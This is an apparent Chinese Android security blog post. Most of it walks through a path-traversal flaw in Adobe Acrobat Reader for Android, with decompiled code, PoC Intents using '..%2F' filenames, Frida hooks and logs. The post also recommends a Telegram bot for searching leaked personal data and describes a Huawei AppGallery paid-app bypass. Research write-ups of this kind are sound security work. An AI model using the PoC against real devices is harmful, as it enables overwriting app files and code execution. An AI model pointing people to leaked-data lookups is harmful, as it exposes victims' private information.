应用侧漏洞与CTF题解:https://wnagzihxa1n.gitbook.io

大土豆安全笔记 | 按理来说这篇文章属于大土豆安全笔记系列但是今天天气太热了我想不出合适的标题所以就把这个当做标题贴上来了希望凑够字数嗯现在字数够了

360首席画饼专家,酒仙桥林俊杰又回来了

Jadx更新到1.4.2了,但我不建议更新,以前搜索模块随便怎么折腾都没事,现在的搜索模块一个不高兴就直接卡住而且不会恢复那种,还是先用着1.3.5吧,起码稳定

JEB4有人用Demo版本缝缝补补凑出了一个Pro,如果有在用的同学请注意保存工程的时候,记得选择完整保存,这样才可以把各位的重命名等信息保存下来,赶时间的话建议还是3.19凑合着用吧,因为完整保存非常慢

这段时间最重磅的一件事就是10亿数据,瓜各位都吃得差不多了,我就提一下,即使知道一些未公开的消息也不能在这里多讲,一会儿号没了

咱还真是完全没有隐私的一代

TG上面有个机器人,可以输入关键词查自己泄露的信息,我看了下,可以查到我的手机号,微博,QQ,自己与别人通讯录的双向备注信息(并不都有),京东订单,我猜背后的数据有某时间段京东泄露的订单数据,微博5亿数据,QQ的数据我不知道来自哪里

大家有兴趣可以去体验一下,并不会直接展示全量信息,而且展示出来的信息会打码,但足够证明数据真实性

上次说到的那个Adobe Acrobat Reader代码执行漏洞,我简单讲下漏洞细节与一些思考的地方

首先是Root Cause

组件com.adobe.reader.AdobeReader导出,且支持使用DeepLink打开在线PDF文件

<activity 
    android:theme="@style/Theme_Virgo_SplashScreen" 
    android:name="com.adobe.reader.AdobeReader" 
    android:exported="true" 
    android:launchMode="singleTask" 
    android:screenOrientation="user" 
    android:configChanges="smallestScreenSize|screenSize|screenLayout|keyboardHidden" 
    android:noHistory="false" 
    android:resizeableActivity="true">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <action android:name="android.intent.action.EDIT"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="file"/>
        <data android:scheme="content"/>
        <data android:scheme="http"/>
        <data android:scheme="https"/>
        <data android:mimeType="application/pdf"/>
    </intent-filter>
</activity>

挑选一条外部可控的调用路径,此处的MAM可以不用在意,按照onResume()来理解即可

[
    Lcom/adobe/reader/AdobeReader;->handleIntent()V
    Lcom/adobe/reader/AdobeReader;->handleOnResume()V
    Lcom/adobe/reader/AdobeReader;->onMAMResume()V
]

关于onMAMCreate()类型的方法可以参考以下文档

从DeepLink调用到Activity会根据环境的不同而有不同的表现,比如当前组件未被打开,会调用onCreate(),如果已经打开且存在于任务栈中,则会调用onNewIntent(),最终都会走到onResume()

回到应用,直接看onMAMResume(),只需要我们传入Uri的Host符合条件,就可以进入[1],控制字段"hideOptionalScreen""true"就可以让shouldDisableOptionalSignForAutomation()返回true,注意这里是"true"不是true

// com.adobe.reader.AdobeReader
public static String getDCBaseUrl() {
    return ARServicesAccount.getInstance().getMasterURI().equals("Prod") ? "https://documentcloud.adobe.com" : "https://dc.stage.acrobat.com";
}

public static String getOldDCBaseUrl() {
    return ARServicesAccount.getInstance().getMasterURI().equals("Prod") ? "https://dc.acrobat.com" : "https://dc.stage.acrobat.com";
}
    
public class AdobeReader extends AppCompatActivity implements ARSigningUtilsHandleOnClickingCross {

    @Override  // androidx.fragment.app.FragmentActivity
    public void onMAMResume() {
        super.onMAMResume();
        if(this.getIntent() == null) {  // intent不能为空
            this.finish();
        }
        else if(this.getIntent().getBooleanExtra(ARInstallReferrerBroadcastReceiver.EUREKA_INSTALL_REFERRER_RECIEVED, false)) {
            ...
        }
        else {
            if(this.mShouldCheckForLogin) {
                this.mOptionalSigning.updateOptionalSigningCountBeforeSigning(this);
            }

            ARThumbnailAPI.removeThumbnailsForInvalidFiles();
            String __intent_data_host__ = this.getHostFromIntent();
            if(__intent_data_host__ != null && ((ARReviewServiceConfig.getDCBaseUrl().contains(__intent_data_host__)) 
                || (ARReviewServiceConfig.getOldDCBaseUrl().contains(__intent_data_host__))) && (ARApp.getAEPMigrationPref())) {
                ...
            }
            else {
                this.handleOnResume();  // [1]
            }
        }

        ARSilentDynamicFeatureDownloader.startSilentDownloadOfDynamicFeatures(this.getApplication());
        ARDCMAnalytics.getInstance().logAnalyticsForAppNotificationSetting(this);
    }
    
    private void handleOnResume() {
        if(!ARIntentUtils.isEurekaReviewIntent(this.getIntent()) && !ARServicesAccount.getInstance().isSignedIn() 
                && !this.shouldDisableOptionalSignForAutomation(this.getIntent())) {
            this.handleSSO();
            return;
        }

        this.handleIntent();  // [2]
    }

如下构造POC即可使业务逻辑走到[2]

Intent intent = new Intent();
intent.setClassName("com.adobe.reader", "com.adobe.reader.AdobeReader");
intent.putExtra("hideOptionalScreen", "true");
startActivity(intent);

handleIntent()一共有五个判断点,前四个判断点不能进入,只能进入第五个判断点

// com.adobe.reader.AdobeReader
public class AdobeReader extends AppCompatActivity implements ARSigningUtilsHandleOnClickingCross {

    private void handleIntent() {
        this.mShouldCheckForLogin = false;
        Intent __intent__ = this.getIntent();  // 获取传入的intent
        v1.toString();  // 此处反编译错误,不影响
        if((this.wasLaunchedFromRecents()) && (ARHomeActivity.getIsBackPressedForExitingApp())) {  // 第一个判断点
            ...
            return;
        }

        if(ARIntentUtils.isEurekaReviewIntent(__intent__)) {  // 第二个判断点
            ...
            return;
        }

        if(ARIntentUtils.isSendAndTrackReviewIntent(__intent__)) {  // 第三个判断点
            ...
            return;
        }

        if(!TextUtils.equals(__intent__.getScheme(), "http") && !TextUtils.equals(__intent__.getScheme(), "https")) {  // 第四个判断点
            ...
            return;
        }

        if(__intent__.getData() != null && !__intent__.getData().toString().contains("app.link")) {  // 第五个判断点
            ...
            return;
        }

        ...
    }
    
    ...
}

第一个判断点只有在返回键被按下才会成立,所以正常调用的情况下不会进入

// com.adobe.reader.home.ARHomeActivity
public class ARHomeActivity extends AppCompatActivity implements FWTabChangeRequestListener, FWFabListener, FWCustomActionBarListener, FWNavigationVisibilityListener, FWSnackBarListener, ARHomeNavigationItemSelectionListener, ARClearRecentSearchesConfirmationListener {

    public static boolean getIsBackPressedForExitingApp() {
        boolean sIsBackPressedForExitingApp;
        Class v0 = ARHomeActivity.class;
        synchronized(v0) {
            sIsBackPressedForExitingApp = ARHomeActivity.sIsBackPressedForExitingApp;
        }

        return sIsBackPressedForExitingApp;
    }
    
    private static void setIsBackPressedForExitingApp(boolean sIsBackPressedForExitingApp) {
        Class v0 = ARHomeActivity.class;
        synchronized(v0) {
            ARHomeActivity.sIsBackPressedForExitingApp = sIsBackPressedForExitingApp;  // 设置点
        }
    }
    
    private void addCompanionFragment() {
        ...
        ARHomeActivity.setIsBackPressedForExitingApp(false);
    }
    
    @Override  // androidx.activity.ComponentActivity
    public void onBackPressed() {
        ...
        if(v2 != 0) {
            ARHomeActivity.setIsBackPressedForExitingApp(true);  // 当按下返回键会将该值设置为True
            super.onBackPressed();
        }
    }
    
    @Override  // androidx.appcompat.app.AppCompatActivity
    public void onMAMCreate(Bundle bundle) {
        ...
        ARHomeActivity.setIsBackPressedForExitingApp(false);
    }
    
    ...
}

第二个判断点

// com.adobe.reader.utils.ARIntentUtils
public class ARIntentUtils {

    private static boolean hasReviewServerBaseURI(String __intent_uri_string__) {
        return __intent_uri_string__ != null && ((__intent_uri_string__.contains(ARApp.getAppContext().getString(0x7F130072))) || (__intent_uri_string__.contains(ARApp.getAppContext().getString(0x7F130074))) || (__intent_uri_string__.contains(ARApp.getAppContext().getString(0x7F130073))));
    }
    
    private static boolean isEurekaFile(String __intent_uri_string__) {
        return __intent_uri_string__ != null && ((__intent_uri_string__.contains(ARApp.getAppContext().getString(0x7F130075))) || (__intent_uri_string__.contains(ARApp.getAppContext().getString(0x7F130077))) || (__intent_uri_string__.contains(ARApp.getAppContext().getString(0x7F130076))) || (__intent_uri_string__.contains(ARApp.getAppContext().getString(0x7F130064)))) && (ARIntentUtils.checkForFileType(__intent_uri_string__).equals("review"));
    }
    
    public static boolean isEurekaReviewIntent(Intent __intent__) {
        String __intent_uri_string__ = __intent__.getDataString();
        if(ARApp.getAEPMigrationPref()) {
            return __intent_uri_string__ != null ? ARShareLinkInfo.getInstance().getShareFileType() == OPENED_FILE_TYPE.REVIEW : false;  // "REVIEW"
        }

        return (ARIntentUtils.hasReviewServerBaseURI(__intent_uri_string__)) || (ARIntentUtils.isEurekaFile(__intent_uri_string__));
    }
    
    ...
}

第三个判断点

// com.adobe.reader.utils.ARIntentUtils
public class ARIntentUtils {

    private static boolean hasFilesServerBaseURI(String __intent_uri_string__) {
        return __intent_uri_string__ != null && ((__intent_uri_string__.contains(ARApp.getAppContext().getString(0x7F130E79))) || (__intent_uri_string__.contains(ARApp.getAppContext().getString(0x7F130E7A))));
    }
    
    private static boolean isSendAndTrackFile(String __intent_uri_string__) {
        return __intent_uri_string__ != null && ((__intent_uri_string__.contains(ARApp.getAppContext().getString(0x7F130075))) || (__intent_uri_string__.contains(ARApp.getAppContext().getString(0x7F130077))) || (__intent_uri_string__.contains(ARApp.getAppContext().getString(0x7F130076))) || (__intent_uri_string__.contains(ARApp.getAppContext().getString(0x7F130064)))) && (ARIntentUtils.checkForFileType(__intent_uri_string__).equals("track"));
    }

    public static boolean isSendAndTrackReviewIntent(Intent __intent__) {
        String __intent_uri_string__ = __intent__.getDataString();
        if(ARApp.getAEPMigrationPref()) {
            return __intent_uri_string__ != null ? ARShareLinkInfo.getInstance().getShareFileType() == OPENED_FILE_TYPE.SEND_AND_TRACK : false;  // "SEND_AND_TRACK"
        }

        return (ARIntentUtils.hasFilesServerBaseURI(__intent_uri_string__)) || (ARIntentUtils.isSendAndTrackFile(__intent_uri_string__));
    }
    
    ...
}

第四个判断点,只要是http或者https即可绕过

第五个判断点

if(__intent__.getData() != null && !__intent__.getData().toString().contains("app.link")) {  // 第五个判断点
    Intent intentToARFileURLDownloadActivity = new Intent(this, ARFileURLDownloadActivity.class);
    intentToARFileURLDownloadActivity.putExtra("FILE_PATH_key", __intent__.getData());
    intentToARFileURLDownloadActivity.putExtra("FILE_MIME_TYPE", __intent__.getType());
    this.startActivity(intentToARFileURLDownloadActivity);  // [3]
    this.logSourceInfo();
    this.logLaunchAnalytics("Document Download", __intent__.getAction(), __intent__.getType());
    this.finish();
    return;
}

如下构造PoC即可使业务逻辑走到[3],添加了Uri和Type字段

Intent intent = new Intent();
intent.setClassName("com.adobe.reader", "com.adobe.reader.AdobeReader");
intent.setDataAndType(Uri.parse("https://127.0.0.1/a/b/c/poc.pdf"), "application/*");
intent.putExtra("hideOptionalScreen", "true");
startActivity(intent);

跳转到ARFileURLDownloadActivity后,会将传入Uri的Path字段取出并构造出一个文件路径,用于界面展示,然后传进来的数据会被整合传递到ARFileURLDownloadService

// com.adobe.reader.misc.ARFileURLDownloadActivity
public class ARFileURLDownloadActivity extends ARFileTransferActivity {

    @Override  // com.adobe.reader.misc.ARFileTransferActivity
    public void onMAMCreate(Bundle bundle) {
        super.onMAMCreate(bundle);
        this.mServiceIntent = new Intent(this, ARFileURLDownloadService.class);  // 构造Intent
        Bundle newBundle = new Bundle();
        Bundle __intent_extras__ = this.getIntent().getExtras();
        Uri __intent_extras_FILE_PATH_key__ = (Uri)__intent_extras__.getParcelable("FILE_PATH_key");
        String __intent_extras_FILE_MIME_TYPE__ = __intent_extras__.getString("FILE_MIME_TYPE");
        String __intent_extras_FILE_PATH_key_lastPathSegment__ = __intent_extras_FILE_PATH_key__.getLastPathSegment();  // 获取Uri的Path,外部可控
        if(__intent_extras_FILE_PATH_key_lastPathSegment__ == null) {
            new BBToast(ARApp.getAppContext(), 1).withText(this.getResources().getString(0x7F13063E)).show();  // 无效的文件名
            this.finish();
            return;
        }

        String modifiedFileNameWithExtension = BBIntentUtils.getModifiedFileNameWithExtensionUsingIntentData(__intent_extras_FILE_PATH_key_lastPathSegment__, __intent_extras_FILE_MIME_TYPE__, null, __intent_extras_FILE_PATH_key__);  // 漏洞点
        String IDS_CLOUD_DOWNLOADING_STR = this.getString(0x7F130222);  // 正在打开
        newBundle.putParcelable("FILE_PATH_key", __intent_extras_FILE_PATH_key__);
        String fileID = String.valueOf(System.currentTimeMillis());  // 这个字段用于后续通知
        this.mFileID = fileID;
        newBundle.putCharSequence("FILE_ID_key", fileID);
        newBundle.putString("FILE_MIME_TYPE", __intent_extras_FILE_MIME_TYPE__);
        ((TextView)this.findViewById(0x7F0B0225)).setText(modifiedFileNameWithExtension);
        this.setTransferStatusText(IDS_CLOUD_DOWNLOADING_STR);
        ((ImageView)this.findViewById(0x7F0B0220)).setImageResource(ARUtils.getProgressViewDrawableIconForFile(modifiedFileNameWithExtension, __intent_extras_FILE_MIME_TYPE__));  // 进度条
        this.registerBroadcastReceivers();
        LocalBroadcastManager.getInstance(this).registerReceiver(this.mBroadcastReceiver_urlDismissDownload, new IntentFilter("com.adobe.reader.misc.ARFileURLDownloadService.URLDismissDownload"));  // 注册取消下载Receiver
        this.mServiceIntent.putExtras(newBundle);
        this.startService();  // [4]
    }
    
    protected void startService() {
        if(!ARRunTimeStoragePermissionUtils.checkAndRequestStoragePermissions(this, null, 110)) {
            this.startService(this.mServiceIntent);  // [5]
        }
    }
    
    ...
}

进入ARFileURLDownloadService后,会先判断当前是否有下载任务,此处我们不考虑复杂场景,直接跳过这个分支,字段"FILE_PATH_key"和其它两个字段用于构造ARURLFileDownloadAsyncTask对象,[6]开始处理业务逻辑

// com.adobe.reader.misc.ARFileURLDownloadService
public class ARFileURLDownloadService extends MAMService {
    private BroadcastReceiver broadcastReceiver_cancelUrlDownload;
    private ARURLFileDownloadAsyncTask mURLFileDownloadAsyncTask;

    public ARFileURLDownloadService() {
        this.broadcastReceiver_cancelUrlDownload = new MAMBroadcastReceiver() {
            @Override  // com.microsoft.intune.mam.client.content.HookedBroadcastReceiver
            public void onMAMReceive(Context arg1, Intent arg2) {
                String v1 = (String)arg2.getExtras().getCharSequence("FILE_ID_key");
                if(ARFileURLDownloadService.this.mURLFileDownloadAsyncTask != null && (ARFileURLDownloadService.this.mURLFileDownloadAsyncTask.getFileID().equals(v1))) {
                    ARFileURLDownloadService.this.cancelFileTransferAsyncTask(ARFileURLDownloadService.this.mURLFileDownloadAsyncTask);
                    ARFileURLDownloadService.this.mURLFileDownloadAsyncTask = null;
                }
            }
        };
    }

    private void cancelFileTransferAsyncTask(ARURLFileDownloadAsyncTask arURLFileDownloadAsyncTask) {
        if(arURLFileDownloadAsyncTask != null && arURLFileDownloadAsyncTask.getStatus() != AsyncTask.Status.FINISHED) {
            arURLFileDownloadAsyncTask.cancel(true);
        }
    }

    @Override  // android.app.Service
    public void onCreate() {
        super.onCreate();
        LocalBroadcastManager.getInstance(this).registerReceiver(this.broadcastReceiver_cancelUrlDownload, new IntentFilter("com.adobe.reader.misc.ARFileURLDownloadService.URLCancelDownload"));  // 注册取消下载Receiver
    }

    @Override  // com.microsoft.intune.mam.client.app.MAMService
    public int onMAMStartCommand(Intent __intent__, int arg9, int arg10) {
        if(__intent__ != null) {
            Bundle __intent_extras__ = __intent__.getExtras();
            if(this.mURLFileDownloadAsyncTask != null) {
                Intent intentToURLDismissDownload = new Intent("com.adobe.reader.misc.ARFileURLDownloadService.URLDismissDownload");
                Bundle newBundle = new Bundle();
                newBundle.putCharSequence("FILE_ID_key", this.mURLFileDownloadAsyncTask.getFileID());
                intentToURLDismissDownload.putExtras(newBundle);
                LocalBroadcastManager.getInstance(this).sendBroadcast(intentToURLDismissDownload);
                this.cancelFileTransferAsyncTask(this.mURLFileDownloadAsyncTask);
                this.mURLFileDownloadAsyncTask = null;
            }

            Uri __intent_extras_FILE_PATH_key__ = (Uri)__intent_extras__.getParcelable("FILE_PATH_key");
            String __intent_extras_FILE_MIME_TYPE__ = __intent_extras__.getString("FILE_MIME_TYPE", null);
            String __intent_extras_FILE_ID_key__ = (String)__intent_extras__.getCharSequence("FILE_ID_key");
            ARURLFileDownloadAsyncTask arURLFileDownloadAsyncTask = new ARURLFileDownloadAsyncTask(ARApp.getInstance(), __intent_extras_FILE_PATH_key__, __intent_extras_FILE_ID_key__, true, __intent_extras_FILE_MIME_TYPE__);  // 漏洞点
            this.mURLFileDownloadAsyncTask = arURLFileDownloadAsyncTask;
            arURLFileDownloadAsyncTask.taskExecute(new Void[0]);  // [6]
        }

        return 2;
    }
}

[7]调用到方法ARURLFileDownloadAsyncTask.downloadFile(),方法BBIntentUtils.getModifiedFileNameWithExtensionUsingIntentData()会对需要下载的文件进行路径识别并返回一个重新编辑过的文件名,此处即是漏洞点

// com.adobe.reader.misc.ARURLFileDownloadAsyncTask
public class ARURLFileDownloadAsyncTask extends SVFileTransferAbstractAsyncTask {
    private String mMimeTypeFromIntent;
    private Uri mUri;

    public ARURLFileDownloadAsyncTask(Application arg2, Uri __intent_extras_FILE_PATH_key__, String __intent_extras_FILE_ID_key__, boolean arg5, String __intent_extras_FILE_MIME_TYPE__) {
        super(arg2, __intent_extras_FILE_PATH_key__.toString(), __intent_extras_FILE_ID_key__, arg5);
        this.mUri = __intent_extras_FILE_PATH_key__;
        this.mMimeTypeFromIntent = __intent_extras_FILE_MIME_TYPE__;
    }

    private void downloadFile() throws IOException, SVFileDownloadException {
        int flag = 0;
        URL __mUriToURL__ = new URL(this.mUri.toString());
        Exception exception = null;
        try {
            String __downloadPdfFileName__ = BBIntentUtils.getModifiedFileNameWithExtensionUsingIntentData(this.mUri.getLastPathSegment(), this.mMimeTypeFromIntent, null, this.mUri);  // 获取文件名
            String __downloadPdfFilePath__ = new ARFileFromURLDownloader(new DownloadUrlListener() {
                @Override  // com.adobe.reader.misc.ARFileFromURLDownloader$DownloadUrlListener
                public void onProgressUpdate(int arg3, int arg4) {
                    ARURLFileDownloadAsyncTask.this.broadcastUpdate(0, arg3, arg4);
                }

                @Override  // com.adobe.reader.misc.ARFileFromURLDownloader$DownloadUrlListener
                public boolean shouldCancelDownload() {
                    return ARURLFileDownloadAsyncTask.this.isCancelled();
                }
            }).downloadFile(__downloadPdfFileName__, __mUriToURL__);  // [8]
            if(BBFileUtils.fileExists(__downloadPdfFilePath__)) {
                File v4_1 = new File(__downloadPdfFilePath__);
                if(ARFileUtils.checkIfInputStreamHasPDFContent(() -> new FileInputStream(v4_1))) {
                    this.updateFilePath(__downloadPdfFilePath__);
                    flag = 0;
                }
                else {
                    v4_1.delete();
                    flag = 1;
                }
            }
            else {
                goto label_38;
            }

            goto label_40;
        }

        flag = 1;
        goto label_40;
    label_38:
        flag = 1;
    label_40:
        if(flag == 0) {
            ARDCMAnalytics.getInstance().trackFileDownloadFromUrlCompleteStatus(1 ^ flag, null, __mUriToURL__);
            return;  // 从这里返回
        }

        ...
    }
    
    @Override  // com.adobe.libs.services.blueheron.SVFileTransferAbstractAsyncTask
    public void executeTask() throws Exception {
        this.downloadFile();  // [7]
    }
    
    ...
}

重新编辑文件名的逻辑如下,结合前置知识,此处可以通过..%2F来编码../,从而造成返回的文件名变成../poc.pdf

// com.adobe.libs.buildingblocks.utils.BBIntentUtils
public final class BBIntentUtils {

    public static String getModifiedFileNameWithExtensionUsingIntentData(String __intent_extras_FILE_PATH_key_lastPathSegment__, String __intent_extras_FILE_MIME_TYPE__, ContentResolver contentResolver, Uri __intent_extras_FILE_PATH_key__) {
        if(TextUtils.isEmpty(__intent_extras_FILE_PATH_key_lastPathSegment__)) {
            __intent_extras_FILE_PATH_key_lastPathSegment__ = "downloaded_file";
        }

        CharSequence type = null;
        if(contentResolver != null && __intent_extras_FILE_PATH_key__ != null) {
            type = MAMContentResolverManagement.getType(contentResolver, __intent_extras_FILE_PATH_key__);
        }

        String contentResolver2 = TextUtils.isEmpty(type) ? __intent_extras_FILE_MIME_TYPE__ : ((String)type);  // pdf
        if(!TextUtils.isEmpty(contentResolver2)) {
            String fileExtension = BBFileUtils.getFileExtensionFromMimeType(contentResolver2);
            if(!TextUtils.isEmpty(fileExtension)) {
                if(__intent_extras_FILE_PATH_key_lastPathSegment__.lastIndexOf(46) == -1) {  // 46对应的符号为"."
                    return __intent_extras_FILE_PATH_key_lastPathSegment__ + '.' + fileExtension;  // 返回../poc.pdf
                }

                ...
            }
        }

        return __intent_extras_FILE_PATH_key_lastPathSegment__;
    }
    
    ...
}

修改PoC代码

Intent intent = new Intent();
intent.setClassName("com.adobe.reader", "com.adobe.reader.AdobeReader");
intent.setDataAndType(Uri.parse("https://127.0.0.1/a/b/c/..%2F..%2F..%2F..%2Fpoc.pdf"), "application/*");
intent.putExtra("hideOptionalScreen", "true");
startActivity(intent);

打印方法BBIntentUtils.getModifiedFileNameWithExtensionUsingIntentData()的返回值

Frida代码

let BBIntentUtils = Java.use("com.adobe.libs.buildingblocks.utils.BBIntentUtils");
BBIntentUtils.getModifiedFileNameWithExtensionUsingIntentData.implementation = function(str, str2, contentResolver, uri){
    console.log('[w-info] getModifiedFileNameWithExtensionUsingIntentData is called');
    let ret = this.getModifiedFileNameWithExtensionUsingIntentData(str, str2, contentResolver, uri);
    console.log('[w-info] getModifiedFileNameWithExtensionUsingIntentData ret value is ' + ret);
    return ret;
};

打印出来的返回值带上了../

[w-info] getModifiedFileNameWithExtensionUsingIntentData ret value is ../../../../poc.pdf

同时我们也看下传入downloadFile()的参数

Frida代码

let ARFileFromURLDownloader = Java.use("com.adobe.reader.misc.ARFileFromURLDownloader");
ARFileFromURLDownloader.downloadFile.implementation = function(title, url){
    console.log('[w-info] downloadFile is called');
    console.log("[w-info] arg1: " + title);
    console.log("[w-info] arg2: " + url);
    console.log(Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Throwable").$new()));
    return this.downloadFile(title, url);
};

运行日志

[w-info] downloadFile is called
[w-info] arg1: ../../../../poc.pdf
[w-info] arg2: https://127.0.0.1/a/b/c/..%2F..%2F..%2F..%2Fpoc.pdf
java.lang.Throwable
        at com.adobe.reader.misc.ARFileFromURLDownloader.downloadFile(Native Method)
        at com.adobe.reader.misc.ARURLFileDownloadAsyncTask.downloadFile(ARURLFileDownloadAsyncTask.java:213)
        at com.adobe.reader.misc.ARURLFileDownloadAsyncTask.executeTask(ARURLFileDownloadAsyncTask.java:80)
        at com.adobe.libs.services.blueheron.SVFileTransferAbstractAsyncTask.doInBackground(SVFileTransferAbstractAsyncTask.java:196)
        at com.adobe.libs.services.blueheron.SVFileTransferAbstractAsyncTask.doInBackground(SVFileTransferAbstractAsyncTask.java:46)
        at android.os.AsyncTask$2.call(AsyncTask.java:333)
        at java.util.concurrent.FutureTask.run(FutureTask.java:266)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1167)
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641)
        at java.lang.Thread.run(Thread.java:764)

最后的下载逻辑需要使用到重新编辑的文件名,具体实现在方法getDocPathForExternalCopy()里,这个方法会到存储卡上找一个目录,拼接上重新编辑过的文件名,返回最后要下载存储的文件路径,进入[9]

// com.adobe.reader.misc.ARURLFileDownloadAsyncTask
public final class ARFileFromURLDownloader {

    public final String downloadFile(String __downloadPdfFileName__, URL __mUriToURL__) throws IOException {
        String __finalDownloadPdfFilePath__;
        Intrinsics.checkNotNullParameter(__downloadPdfFileName__, "title");
        Intrinsics.checkNotNullParameter(__mUriToURL__, "url");
        if(ARFileBrowserUtils.isPermanentStorageAvailable()) {
            __finalDownloadPdfFilePath__ = this.getDocPathForExternalCopy(__downloadPdfFileName__);
            if(!this.validateIfDocPathCanBeUsed(__finalDownloadPdfFilePath__)) {
                ARFileOpenAnalytics.logUrlReadFailureEvent();
                __finalDownloadPdfFilePath__ = null;
            }
        }
        else {
            __finalDownloadPdfFilePath__ = null;
        }
    
        if(__finalDownloadPdfFilePath__ == null) {
            __finalDownloadPdfFilePath__ = this.getDocPathForInternalCopy(__downloadPdfFileName__);
        }
    
        String v4 = __mUriToURL__.toString();
        Intrinsics.checkNotNullExpressionValue(v4, "url.toString()");
        return this.downloadUrlAtDocPath(__finalDownloadPdfFilePath__, v4) ? __finalDownloadPdfFilePath__ : null;  // [9]
    }
    
    ...
}

下载的逻辑其实不需要分析逻辑,只需要看[10],直接使用带../的文件路径进行写入,所以这里存在路径穿越漏洞导致应用内任意私有文件写

// com.adobe.reader.misc.ARURLFileDownloadAsyncTask
public final class ARFileFromURLDownloader {

    private final boolean downloadUrlAtDocPath(String __finalDownloadPdfFilePath__, String arg20) throws IOException {
        int result;
        Builder builder = new Builder();
        builder.url(arg20);
        Request request = builder.build();
        Response response = new OkHttpClient().newCall(request).execute();
        if(response != null && (response.isSuccessful())) {
            File file = new File(__finalDownloadPdfFilePath__);  // [10]
            if(file.exists()) {
                BBFileUtils.deleteFile(file);
            }
            else {
                file.getParentFile().mkdirs();
            }

            ResponseBody responseBody = response.body();  // 请求返回的pdf文件内容
            Intrinsics.checkNotNull(responseBody);
            long v2 = responseBody.contentLength();
            long v4 = -1L;
            int v8 = Long.compare(v2, v4) == 0 ? -1 : 0;
            BufferedSource bufferedSource = responseBody.source();
            BufferedSink bufferedSink = Okio.buffer(Okio.sink(file));
            Buffer buffer = bufferedSink.buffer();
            int v1 = 0;
            long v15 = 0L;
            while(true) {
                long readNum = bufferedSource.read(buffer, 0x2000L);  // 循环读取响应数据
                if(readNum == v4 || (this.downloadUrlListener.shouldCancelDownload())) {
                    break;
                }

                bufferedSink.emit();
                v15 += readNum;
                if(v8 == 0 && v2 > 0L) {
                    result = (int)(100L * v15 / v2);
                }
                else if(v8 == -1) {
                    result = (int)(v15 / 0x400L);
                }
                else {
                    result = 0;
                }

                if(result != v1) {
                    this.downloadUrlListener.onProgressUpdate(result, v8);
                    v1 = result;
                }

                v4 = -1L;
            }

            bufferedSink.flush();  // 刷新缓冲区,写入数据
            bufferedSink.close();
            bufferedSource.close();
            return this.isDownloadSuccessful(v15, v8, v15, file);
        }

        return false;
    }

这时候我们就该思考一个关键问题了:有没有什么文件覆盖掉之后能造成任意代码执行?

通过对本应用私有目录的分析,发现有动态库可以覆写,覆写其中一个动态库即可,这属于后利用环节,不深入讨论

那么这就为不少同学带来一个新的漏洞模型启发,就是如果我们对一个导出的组件进行深入分析,发现它会调用方法startActivity(),但是启动的组件是硬编码的,是否还能有攻击的可能性?

答案是肯定的,上面就是一个非常好的例子,各位同学对一个复杂应用进行研究的时候,如果遇到了组件不可控但是参数可控的情况,深入往下研究,或许惊喜就在跳转之后

其实就算是参数不可控照样可以存在漏洞,跳转后的组件会通过全局变量获取数据,而这个全局变量在导出组件里可以被传入的数据污染

最近好玩的东西很多,有自己挖到的,也有一些公开的,接下来慢慢讲,没有人催的分享确实更加快乐

《Audit of Session Secure Messaging Application》

《Security assessment of instant messaging app ChatSecure: when privacy matters》

《Secure Messaging Apps and Group Protocols, Part 1》

《Secure Messaging Apps and Group Protocols, Part 2》

墙裂推荐一篇文章:《Looking for Remote Code Execution bugs in the Linux kernel》

《Vulnerability in Huawei’s AppGallery can download paid apps for free》,华为应用市场免费下载使用付费应用漏洞,还是国外好啊,一言不合就直接公开,还不会被抓起来,搁国内说不定现在都已经踩上缝纫机了

我根据文章描述以及开发者官网的指导分析下情况,该作者发现可以通过网络请求直接获取到应用下载的链接,然后就思考是否可以获取到付费应用的下载链接直接安装上使用,通过后续验证是可以的,大概就是这么个情况

{
  "app": {
    ...
    "url": "https://appdlc-dre.hispace.dbankcloud.com/dl/appdl/application/apk/40/4037feaa91cf453ca2dd1ebf444aedaa/com.huawei.appmarket.2204201539.apk?sign=mw@mw1651866832368&maple=0&distOpEntity=HWSW",
    "version": "12.1.1.302",
    "versionCode": 120101302
  },
  ...
}

我们搜索相关的文档,重要的是下面这两篇

《华为付费下载服务 - 业务介绍》

《华为付费下载服务 - 应用付费鉴权》

从文档的描述来推测,华为应用市场并不直接检测当前账号是否已购买本付费应用,而是交给开发者接入指定的SDK自行校验

IMAGE

所以为什么不自己校验呢?

这让我想到iOS的App Store,比如我先用海外账号去下载付费的小火箭,然后再切回国内的账号继续使用,按理说这时候的校验就要设计的很小心,但人家不能自己安装应用,极大地减少了风险,能下载说明当前系统曾经登录过的某个账号就是付过费了,不像Android有个万能的ADB,谁都不知道这个应用是ADB进来的还是正儿八经从应用市场下载的

去年年初的时候谷歌威胁分析小组发现朝鲜佬在推特上面搞事情,养了一堆小号还搞了一个安全博客发漏洞分析文章,我当时还看了其中一篇浏览器漏洞的分析文章

《Chrome-Android-and-Windows-0day-RCE-SBX》就是其中朝鲜佬那边的黑客攻击用的Chrome漏洞,真害怕我珍藏了好久的唯一一个Intent拒绝服务漏洞被朝鲜佬偷走了

下面这几篇的文风我实在是喜欢

《GHSL-2020-375: Use-after-free (UaF) in Qualcomm kgsl driver - CVE-2020-11239》

《GHSL-2021-1029: Use-after-free (UaF) in Qualcomm npu driver - CVE-2021-1940》

《GHSL-2021-1030: Information leak in Qualcomm npu driver - CVE-2021-1968》

《GHSL-2021-1031: Information leak in Qualcomm npu driver - CVE-2021-1969》

《GHSL-2022-037: Use After Free (UAF) in Qualcomm kgsl driver - CVE-2022-22057》

《GHSL-2022-038: Use After Free (UAF) in Qualcomm NPU driver - CVE-2022-22068》

《Fall of the machines: Exploiting the Qualcomm NPU (neural processing unit) kernel driver》

BlackHat Asia 2022的Sldies出来了,分析与思考留着下次发,内容太多了

《Start Arbitrary Activity App Components as the System User Vulnerability Affecting Samsung Android Devices》

《Unix Domain Socket: A Hidden Door Leading to Privilege Escalation in the Android Ecosystem》

《The Hidden RCE Surfaces That Control the Droids》

《ExplosION: The Hidden Mines in the Android ION Driver》

接下来被拉出来展示的应用只是为了举例说明,并不表示存在漏洞,我不研究也没有研究过国内的应用,请知

